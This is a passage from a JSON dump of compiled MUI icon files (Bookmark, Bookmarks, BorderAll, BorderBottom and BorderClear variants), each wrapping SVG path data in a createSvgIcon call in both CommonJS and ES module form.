    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 17.97 5-2.15 5 2.15V5H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 14.97-5-2.14-5 2.14V5h10z\"\n}, \"1\")], 'BookmarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bookmarks.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 18 2 1V3c0-1.1-.9-2-2-2H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2zM15 5H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2\"\n}), 'Bookmarks');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bookmarks.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 18 2 1V3c0-1.1-.9-2-2-2H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2zM15 5H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2\"\n}), 'Bookmarks');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v12.97l-4.21-1.81-.79-.34-.79.34L5 19.97V7zm4-6H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2v13l2 1V3c0-1.1-.9-2-2-2m-4 4H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2\"\n}), 'BookmarksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v12.97l-4.21-1.81-.79-.34-.79.34L5 19.97V7zm4-6H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2v13l2 1V3c0-1.1-.9-2-2-2m-4 4H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2\"\n}), 'BookmarksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 18 2 1V3c0-1.1-.9-2-2-2H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2zM15 5H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2\"\n}), 'BookmarksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 18 2 1V3c0-1.1-.9-2-2-2H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2zM15 5H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2\"\n}), 'BookmarksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 18 2 1V1H7v2h12zM17 5H3v18l7-3 7 3z\"\n}), 'BookmarksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 18 2 1V1H7v2h12zM17 5H3v18l7-3 7 3z\"\n}), 'BookmarksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2v13l2 1V3c0-1.1-.9-2-2-2m-4 4H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2m0 14.97-4.21-1.81-.79-.34-.79.34L5 19.97V7h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 19.97 5-2.15 5 2.15V7H5z\",\n  opacity: \".3\"\n}, \"1\")], 'BookmarksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarksTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H8.99C7.89 1 7 1.9 7 3h10c1.1 0 2 .9 2 2v13l2 1V3c0-1.1-.9-2-2-2m-4 4H5c-1.1 0-2 .9-2 2v16l7-3 7 3V7c0-1.1-.9-2-2-2m0 14.97-4.21-1.81-.79-.34-.79.34L5 19.97V7h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 19.97 5-2.15 5 2.15V7H5z\",\n  opacity: \".3\"\n}, \"1\")], 'BookmarksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m8 14H6c-.55 0-1-.45-1-1v-5h5c.55 0 1 .45 1 1zm-1-8H5V6c0-.55.45-1 1-1h5v5c0 .55-.45 1-1 1m8 8h-5v-5c0-.55.45-1 1-1h5v5c0 .55-.45 1-1 1m1-8h-5c-.55 0-1-.45-1-1V5h5c.55 0 1 .45 1 1z\"\n}), 'BorderAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m8 14H6c-.55 0-1-.45-1-1v-5h5c.55 0 1 .45 1 1zm-1-8H5V6c0-.55.45-1 1-1h5v5c0 .55-.45 1-1 1m8 8h-5v-5c0-.55.45-1 1-1h5v5c0 .55-.45 1-1 1m1-8h-5c-.55 0-1-.45-1-1V5h5c.55 0 1 .45 1 1z\"\n}), 'BorderAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM11 19H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderAllTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM11 19H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}), 'BorderAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM3 21h18v-2H3zm2-6H3v2h2z\"\n}), 'BorderBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM3 21h18v-2H3zm2-6H3v2h2z\"\n}), 'BorderBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM3 21h18v-2H3zm2-6H3v2h2z\"\n}), 'BorderBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM3 21h18v-2H3zm2-6H3v2h2z\"\n}), 'BorderBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m1-6H3v2h2z\"\n}), 'BorderBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM4 21h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m1-6H3v2h2z\"\n}), 'BorderBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM3 21h18v-2H3zm2-6H3v2h2z\"\n}), 'BorderBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11H7v2h2zm4 4h-2v2h2zM9 3H7v2h2zm4 8h-2v2h2zM5 3H3v2h2zm8 4h-2v2h2zm4 4h-2v2h2zm-4-8h-2v2h2zm4 0h-2v2h2zm2 10h2v-2h-2zm0 4h2v-2h-2zM5 7H3v2h2zm14-4v2h2V3zm0 6h2V7h-2zM5 11H3v2h2zM3 21h18v-2H3zm2-6H3v2h2z\"\n}), 'BorderBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h2v2H3zm0 4h2v2H3zm0 4h18v2H3zm16-4h2v2h-2zM3 7h2v2H3zm16 4h2v2h-2zm0-8h2v2h-2zm-4 8h2v2h-2zm4-4h2v2h-2zm-4-4h2v2h-2zm-8 8h2v2H7zM3 3h2v2H3zm8 4h2v2h-2zM7 3h2v2H7zm4 8h2v2h-2zm0 4h2v2h-2zm0-12h2v2h-2z\"\n}), 'BorderBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderBottomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h2v2H3zm0 4h2v2H3zm0 4h18v2H3zm16-4h2v2h-2zM3 7h2v2H3zm16 4h2v2h-2zm0-8h2v2h-2zm-4 8h2v2h-2zm4-4h2v2h-2zm-4-4h2v2h-2zm-8 8h2v2H7zM3 3h2v2H3zm8 4h2v2h-2zM7 3h2v2H7zm4 8h2v2h-2zm0 4h2v2h-2zm0-12h2v2h-2z\"\n}), 'BorderBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClear.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClear');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClear.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClear');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h2V3H7zm0 8h2v-2H7zm0 8h2v-2H7zm4-4h2v-2h-2zm0 4h2v-2h-2zm-8 0h2v-2H3zm0-4h2v-2H3zm0-4h2v-2H3zm0-4h2V7H3zm0-4h2V3H3zm8 8h2v-2h-2zm8 4h2v-2h-2zm0-4h2v-2h-2zm0 8h2v-2h-2zm0-12h2V7h-2zm-8 0h2V7h-2zm8-6v2h2V3zm-8 2h2V3h-2zm4 16h2v-2h-2zm0-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderClearSharp.js",
